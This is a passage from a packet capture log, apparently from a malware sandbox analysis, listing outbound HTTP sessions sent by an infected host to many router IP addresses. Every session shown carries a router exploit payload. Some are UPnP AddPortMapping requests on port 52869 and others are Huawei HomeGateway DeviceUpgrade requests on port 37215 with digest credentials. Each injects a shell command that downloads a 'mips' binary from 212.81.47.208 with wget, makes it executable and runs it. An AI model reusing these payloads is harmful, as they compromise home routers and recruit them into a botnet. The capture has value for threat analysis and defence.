s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	34854	197.182.194.233	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.292205095 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	33952	156.102.179.117	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.406604052 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	36636	41.25.230.180	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.407391071 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	45140	197.86.83.60	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.409024954 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	59108	41.17.129.191	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.409708023 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	58084	41.27.131.248	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.414184093 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	48806	156.197.175.158	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.928595066 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	48400	197.240.225.40	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.929560900 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	49386	156.84.140.18	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.930144072 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	56572	156.226.100.188	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.930763960 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	34186	41.16.74.27	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.931453943 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 